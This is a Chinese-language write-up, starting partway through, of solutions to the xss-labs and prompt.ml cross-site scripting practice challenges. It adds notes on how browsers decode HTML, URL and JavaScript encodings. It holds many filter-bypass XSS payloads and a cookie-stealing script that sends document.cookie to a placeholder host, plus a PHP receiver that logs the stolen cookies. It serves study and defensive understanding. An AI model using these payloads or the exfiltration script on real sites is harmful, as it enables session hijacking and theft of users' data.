&lt;pre&gt;&lt;code&gt;&amp;lt;form action=level5.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;&quot;&amp;gt;&amp;lt;a href=&quot;javascript:alert(1);&quot;&amp;gt;aaa&amp;lt;/a&amp;gt;&quot;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level6&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 align=center&amp;gt;没有找到和&amp;lt;img src=x onerror=alert(1)&amp;gt;相关的结果.&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt; &amp;lt;form action=level6.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;&amp;lt;img sr_c=x o_nerror=alert(1)&amp;gt;&quot;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;       &amp;lt;h2 align=center&amp;gt;没有找到和&quot;&amp;gt;&amp;lt;a href=&quot;javascript:alert(1);&quot;&amp;gt;aaa&amp;lt;/a&amp;gt;相关的结果.&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt; &amp;lt;form action=level6.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;&quot;&amp;gt;&amp;lt;a hr_ef=&quot;javascript:alert(1);&quot;&amp;gt;aaa&amp;lt;/a&amp;gt;&quot;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload：(大写可以绕过)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&amp;gt; &amp;lt;a Href=&quot;javascript:alert(/1/)&quot;&amp;gt;axxx&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level7&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form action=level7.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;&amp;lt;&amp;gt;alert(1)&amp;lt;/&amp;gt;&quot;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;script&lt;/code&gt; , &lt;code&gt;on&lt;/code&gt;被过滤&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; oonninput=alert(1) &quot; &quot;oonnmouseover=&quot;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后输入即可&lt;/p&gt;
&lt;h3&gt;level8&lt;/h3&gt;
&lt;p&gt;将 &lt;code&gt;javascript:alert(1)&lt;/code&gt; html实体编码即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;#x6a;&amp;amp;#x61;&amp;amp;#x76;&amp;amp;#x61;&amp;amp;#x73;&amp;amp;#x63;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x70;&amp;amp;#x74;&amp;amp;#x3a;&amp;amp;#x61;&amp;amp;#x6c;&amp;amp;#x65;&amp;amp;#x72;&amp;amp;#x74;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x29;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level9&lt;/h3&gt;
&lt;p&gt;将&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;html实体编码，然后加上 &lt;code&gt;%0d&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;#x6a;&amp;amp;#x61;&amp;amp;#x76;&amp;amp;#x61;&amp;amp;#x73;&amp;amp;#x63;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x70;&amp;amp;#x74;&amp;amp;#x3a;&amp;amp;#x61;&amp;amp;#x6c;&amp;amp;#x65;&amp;amp;#x72;&amp;amp;#x74;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x29;&amp;amp;#x0a;%0dhttp://www.0aa.me%0dalert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level10&lt;/h3&gt;
&lt;p&gt;这一关有点玄学&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;t_sort=&quot; type=&quot;text&quot;onmouseover=alert`1` &quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level11&lt;/h3&gt;
&lt;p&gt;添加 referer&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; type=&quot;text&quot; onclick=&quot;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582880021264.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;level12&lt;/h3&gt;
&lt;p&gt;在User-agent 处注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; type=&quot;text&quot; onclick=&quot;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level13&lt;/h3&gt;
&lt;p&gt;在cookie处注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; type=&quot;text&quot; onclick=&quot;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level14&lt;/h3&gt;
&lt;p&gt;iframe 引入了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;iframe name=&quot;leftframe&quot; marginwidth=10 marginheight=10 src=&quot;http://www.exifviewer.org/&quot; frameborder=no width=&quot;80%&quot; scrolling=&quot;no&quot; height=80%&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;center&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level15&lt;/h3&gt;
&lt;p&gt;angular js&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/xss_test/level15.php?src=&apos;level1.php?name=&amp;lt;img src=1 onerror=alert(1)&amp;gt;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level16&lt;/h3&gt;
&lt;p&gt;%0a 绕过空格&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/xss_test/level16.php?keyword=%3Cimg%0asrc=1%0aonerror=alert(1)%3E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;level17-20 都是flash相关的xss，就不写了&lt;/p&gt;
&lt;h2&gt;prompt1 to win&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://prompt.ml/0&quot;&gt;http://prompt.ml/0&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;0&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&quot;&amp;gt;&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script&amp;gt;&amp;lt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {     // tags stripping mechanism from ExtJS library     // Ext.util.Format.stripTags     var stripTagsRE = /&amp;lt;\/?[^&amp;gt;]+&amp;gt;/gi;     input = input.replace(stripTagsRE, &apos;&apos;);      return &apos;&amp;lt;article&amp;gt;&apos; + input + &apos;&amp;lt;/article&amp;gt;&apos;; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不能闭合标签&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body/onload=prompt(1)// &amp;lt;body onload=prompt(1)//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;onload&lt;/code&gt; 事件属性，在页面加载之后立即执行一段JavaScript&lt;/p&gt;
&lt;h3&gt;2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {     //                      v-- frowny face     input = input.replace(/[=(]/g, &apos;&apos;);      // ok seriously, disallows equal signs and open parenthesis     return input; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用svg即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;prompt&amp;amp;#x28;1)&amp;lt;/script&amp;gt;  &amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;prompt&amp;amp;#x28 1)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {     // filter potential comment end delimiters     input = input.replace(/-&amp;gt;/g, &apos;_&apos;);      // comment the input to avoid script execution     return &apos;&amp;lt;!-- &apos; + input + &apos; --&amp;gt;&apos;; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新姿势get&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--!&amp;gt;&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement(&apos;script&apos;);
        script.src = input;
        return script.outerHTML;
    } else {
        return &apos;Invalid resource.&apos;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {
    // apply strict filter rules of level 0
    // filter &quot;&amp;gt;&quot; and event handlers
    input = input.replace(/&amp;gt;|on.+?=|focus/gi, &apos;_&apos;);

    return &apos;&amp;lt;input value=&quot;&apos; + input + &apos;&quot; type=&quot;text&quot;&amp;gt;&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新姿势。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;type=image src onerror
=&quot;prompt(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;type=image src onerror
=prompt(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {     // let&apos;s do a post redirection     try {         // pass in formURL#formDataJSON         // e.g. http://httpbin.org/post#{&quot;name&quot;:&quot;Matt&quot;}         var segments = input.split(&apos;#&apos;);         var formURL = segments[0];         var formData = JSON.parse(segments[1]);          var form = document.createElement(&apos;form&apos;);         form.action = formURL;         form.method = &apos;post&apos;;          for (var i in formData) {             var input = form.appendChild(document.createElement(&apos;input&apos;));             input.name = i;             input.setAttribute(&apos;value&apos;, formData[i]);         }          return form.outerHTML + &apos;                         \n\ &amp;lt;script&amp;gt;                                                  \n\     // forbid javascript: or vbscript: and data: stuff    \n\     if (!/script:|data:/i.test(document.forms[0].action)) \n\         document.forms[0].submit();                       \n\     else                                                  \n\         document.write(&quot;Action forbidden.&quot;)               \n\ &amp;lt;/script&amp;gt;                                                 \n\         &apos;;     } catch (e) {         return &apos;Invalid form data.&apos;;     } }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码很复杂，但是其实就是一个构造表单的过程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582896974234.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果使用JavaScript伪协议，被过滤了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:prompt(1)#{&quot;test&quot;:1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新姿势：&lt;/p&gt;
&lt;p&gt;action有这样的一个特性，如果前后都有action，访问action标签时访问的是后面的action的值。&lt;/p&gt;
&lt;p&gt;所以如果输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:prompt(1)#{&quot;action&quot;:1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;javascript:prompt(1)&quot; method=&quot;post&quot;&amp;gt;&amp;lt;input name=&quot;action&quot; value=&quot;1&quot;&amp;gt;&amp;lt;/form&amp;gt;                          &amp;lt;script&amp;gt;                                                       // forbid javascript: or vbscript: and data: stuff         if (!/script:|data:/i.test(document.forms[0].action))          document.forms[0].submit();                            else                                                           document.write(&quot;Action forbidden.&quot;)                &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {     // filter potential start-tags     input = input.replace(/&amp;lt;([a-zA-Z])/g, &apos;&amp;lt;_$1&apos;);     // use all-caps for heading     input = input.toUpperCase();      // sample input: you shall not pass! =&amp;gt; YOU SHALL NOT PASS!     return &apos;&amp;lt;h1&amp;gt;&apos; + input + &apos;&amp;lt;/h1&amp;gt;&apos;; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;ſcript/ſrc=//⒕₨&amp;gt;&amp;lt;/ſcript&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582897922738.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;A&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function escape(input) {     // (╯°□°）╯︵ ┻━┻     input = encodeURIComponent(input).replace(/prompt/g, &apos;alert&apos;);     // ┬──┬ •ノ( ゜-゜ノ) chill out bro     input = input.replace(/&apos;/g, &apos;&apos;);      // (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO     return &apos;&amp;lt;script&amp;gt;&apos; + input + &apos;&amp;lt;/script&amp;gt; &apos;; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;组合一下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prom&apos;pt(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;XSS基础知识&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;var img=document.createElement(&quot;img&quot;);img.src=&quot;http://xxxx/a?&quot;+escape(document.cookie);&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;escape一般会进行URL编码，但是 该方法不会对 ASCII 字母和数字进行编码，也不会对下面这些 ASCII 标点符号进行编码： * @ - _ + . / 。其他所有的字符都会被转义序列替换。&lt;/p&gt;
&lt;p&gt;常用的payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(/xss/);&amp;lt;/script&amp;gt; //经典语句  &amp;lt;BODY ONLOAD=alert(&apos;XSS&apos;)&amp;gt; &amp;lt;img src=x onerror=alert(1)&amp;gt; &amp;lt;svg onload=alert(1)&amp;gt; &amp;lt;a href = javasript:alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;简单地XSS接收平台&lt;/h3&gt;
&lt;p&gt;js脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var img = document.createElement(&quot;img&quot;); img.src = &quot;http://xxx/x.php?cookie=&quot;+document.cookie; document.body.appendChild(img);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接收端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php   $victim = &apos;XXS得到的 cookie:&apos;. $_SERVER[&apos;REMOTE_ADDR&apos;]. &apos;:&apos; .$_GET[&apos;cookie&apos;].&quot;\r\n\r\n&quot;;   echo htmlspecialchars($_GET[&apos;cookie&apos;]); $myfile = fopen(&quot;/aixi/XSS/xss_victim.txt&quot;, &quot;a&quot;); fwrite($myfile, $victim); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;从浏览器解码看xss&lt;/h3&gt;
&lt;h4&gt;html编码解码&lt;/h4&gt;
&lt;p&gt;浏览器会先解析html，然后解析xss，所以，如果在xss中使用到了html实体编码是没有用的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert&amp;amp;#40;&apos;1&apos;)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是却可以触发，原因是 svg支持xml,在XML中实体会自动转义,除了&lt;code&gt;&amp;lt;![CDATA[&lt;/code&gt;和&lt;code&gt;]]&amp;gt;&lt;/code&gt;包含的实体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;alert&amp;amp;#40;1)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;JavaScript编码解码&lt;/h4&gt;
&lt;p&gt;下面无法触发，原因是浏览器看到 &lt;code&gt;onerror&lt;/code&gt; 之后，调用js解析器，但是在js中，&lt;strong&gt;单引号，双引号和圆括号等属于控制字符，编码后将无法识别。所以对于防御来说，应该编码这些控制字符&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;1&quot; onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们需要修改成这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;1&quot; onerror=\u0061\u006c\u0065\u0072\u0074(&apos;\u0031&apos;)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结合上面的html编码，我们可以将 &lt;code&gt;\u0061\u006c\u0065\u0072\u0074(&apos;\u0031&apos;)&lt;/code&gt; 再进行一次html实体编码(这样就算你过滤了 &lt;code&gt;&apos;&lt;/code&gt;,照样可以绕过)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;1&quot; onerror=&amp;amp;#92;&amp;amp;#117;&amp;amp;#48;&amp;amp;#48;&amp;amp;#54;&amp;amp;#49;&amp;amp;#92;&amp;amp;#117;&amp;amp;#48;&amp;amp;#48;&amp;amp;#54;&amp;amp;#99;&amp;amp;#92;&amp;amp;#117;&amp;amp;#48;&amp;amp;#48;&amp;amp;#54;&amp;amp;#53;&amp;amp;#92;&amp;amp;#117;&amp;amp;#48;&amp;amp;#48;&amp;amp;#55;&amp;amp;#50;&amp;amp;#92;&amp;amp;#117;&amp;amp;#48;&amp;amp;#48;&amp;amp;#55;&amp;amp;#52;&amp;amp;#40;&apos;&amp;amp;#92;&amp;amp;#117;&amp;amp;#48;&amp;amp;#48;&amp;amp;#51;&amp;amp;#49;&apos;&amp;amp;#41;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如开发人员单纯的设置HTML实体编码为防御xss的手段，但是用户输入点确实在alert中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src = &quot;https://text.com&quot; onclick = &apos;alert(输入点)&apos;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果用户正常输入的话凡是存在&lt;code&gt;&amp;lt;&lt;/code&gt; ,&lt;code&gt;&quot;&lt;/code&gt; 等都能被转码&lt;/p&gt;
&lt;p&gt;但是攻击者可以通过语句&lt;code&gt;&quot;);alert(&quot;test&lt;/code&gt; 然后HTML编码即可绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src = &quot;https://gss1.bdstatic.com&quot; onclick = &apos;alert(&quot;FIRST XSS | &amp;amp;#34;&amp;amp;#41;&amp;amp;#59;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#34;&amp;amp;#116;&amp;amp;#101;&amp;amp;#115;&amp;amp;#116;&quot;)&apos;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现弹窗了两次,是因为服务端进行一个HTML解码发现存在两个&lt;code&gt;alert()&lt;/code&gt;弹窗于是直接弹&lt;/p&gt;
&lt;p&gt;所以对于这种情况，正确防御XSS的方法应该是先javascript编码然后再进行HTML编码&lt;/p&gt;
&lt;h4&gt;URL编码解码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href = &quot;javascript:alert(3)&quot;&amp;gt;hhhhh&amp;lt;a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;浏览器看到&lt;code&gt;&amp;lt;&lt;/code&gt;满足HTML解码的条件，然后看到&lt;code&gt;href&lt;/code&gt; 满足了URL编码额条件，最后看到&lt;code&gt;javascript&lt;/code&gt;满足JS 解码的条件&lt;/p&gt;
&lt;p&gt;于是我们可以反过来编码&lt;/p&gt;
&lt;p&gt;作为攻击者我们应该反过来首先进行一个JS编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:\u0061\u006c\u0065\u0072\u0074(3)&quot;&amp;gt;hhhhhh&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后进行一个URL编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)&quot;&amp;gt;hhhhhh&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后进行一个HTML编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)&quot;&amp;gt;hhhhhh&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他栗子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a onclick=&quot;window.open(&apos;value1&apos;)&quot; href=&quot;javascript:window.open(value2)&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的value1：浏览器看到&lt;code&gt;&amp;lt;&lt;/code&gt;标签，可以HTML解码，然后看到&lt;code&gt;onclick&lt;/code&gt;可以进行JS解码，最后看到&lt;code&gt;window.open&lt;/code&gt;可以进行URL解码&lt;/p&gt;
&lt;p&gt;对于value2而言：浏览器看到&lt;code&gt;&amp;lt;&lt;/code&gt;标签进行一个HTML解码，然后看到&lt;code&gt;href&lt;/code&gt;进行一个URL解码，再之后看到&lt;code&gt;javascript&lt;/code&gt;进行一个JS解码，最后看到了&lt;code&gt;window.open&lt;/code&gt;编码进行一个URL解码&lt;/p&gt;
&lt;h3&gt;XSS payload判断是否执行练习&lt;/h3&gt;
&lt;h4&gt;1 协议被编码导致无法执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29&quot;&amp;gt;&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;href 丢给URL模块解析，但是协议无法识别（即被编码的&lt;code&gt;javascript:&lt;/code&gt;），解码失败，不会被执行&lt;/p&gt;
&lt;h4&gt;2&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;amp;#x6a;&amp;amp;#x61;&amp;amp;#x76;&amp;amp;#x61;&amp;amp;#x73;&amp;amp;#x63;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x70;&amp;amp;#x74;:%61%6c%65%72%74%28%32%29&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先进行htm解码得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:%61%6c%65%72%74%28%32%29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后href丢给URL模块解析，得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:alert(2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以执行&lt;/p&gt;
&lt;h4&gt;3 协议被编码，同1&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript%3aalert(3)&quot;&amp;gt;&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;amp;#60;img src=x onerror=alert(4)&amp;amp;#62;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法执行，因为从HTML解析机制看，在读取&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;之后进入数据状态，&lt;code&gt;&amp;amp;#60;&lt;/code&gt;会被HTML解码，但不会进入标签开始状态，当然也就不会创建&lt;code&gt;img&lt;/code&gt;元素，也就不会执行&lt;/p&gt;
&lt;h4&gt;5&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;textarea&amp;gt;&amp;amp;#60;script&amp;amp;#62;alert(5)&amp;amp;#60;/script&amp;amp;#62;&amp;lt;/textarea&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法执行，&lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;是&lt;code&gt;RCDATA&lt;/code&gt;元素（RCDATA elements），可以容纳文本和字符引用，注意&lt;strong&gt;不能容纳其他元素&lt;/strong&gt;，HTML解码得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;textarea&amp;gt;&amp;lt;script&amp;gt;alert(5)&amp;lt;/script&amp;gt;&amp;lt;/textarea&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6 同5 无法执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;textarea&amp;gt;&amp;lt;script&amp;gt;alert(6)&amp;lt;/script&amp;gt;&amp;lt;/textarea&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;confirm(&apos;7&apos;);&quot;&amp;gt;Button&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里&lt;code&gt;onclick&lt;/code&gt;中为标签的属性值（类比2中的&lt;code&gt;href&lt;/code&gt;），会被HTML解码，得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;confirm(&apos;7&apos;);&quot;&amp;gt;Button&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后被执行&lt;/p&gt;
&lt;h4&gt;8&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;confirm(&apos;8\u0027);&quot;&amp;gt;Button&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;onclick&lt;/code&gt;中的值会交给JS处理，在JS中只有字符串和&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Glossary/Identifier&quot;&gt;标识符&lt;/a&gt;能用Unicode表示，&lt;code&gt;&apos;&lt;/code&gt;显然不行，JS执行失败&lt;/p&gt;
&lt;h4&gt;9&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116&amp;amp;#40;&amp;amp;#57;&amp;amp;#41;&amp;amp;#59&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法执行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;script&lt;/code&gt;属于原始文本元素(Raw text elements)，&lt;strong&gt;只可以容纳文本&lt;/strong&gt;，注意&lt;strong&gt;没有字符引用&lt;/strong&gt;，于是直接由JS处理，JS也认不出来，执行失败&lt;/p&gt;
&lt;p&gt;原始文本元素(Raw text elements)有&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;和&lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;10&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;\u0061\u006c\u0065\u0072\u0074(10);&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里js中可以使用Unicode的，只是有些特殊字符不能编码，可以执行&lt;/p&gt;
&lt;h4&gt;11 同8，关键字符被编码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不能执行&lt;/p&gt;
&lt;h4&gt;12 由于解码是字符串导致无法执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里看似将没毛病，但是这里&lt;code&gt;\u0031\u0032&lt;/code&gt;在解码的时候会被解码为字符串&lt;code&gt;12&lt;/code&gt;，注意是&lt;strong&gt;字符串&lt;/strong&gt;，不是数字，文字显然是需要引号的，JS执行失败&lt;/p&gt;
&lt;p&gt;这样就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;\u0061\u006c\u0065\u0072\u0074(&quot;\u0031\u0032&quot;)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;14 同8无法执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;13\u0027)&amp;lt;/script&amp;gt;
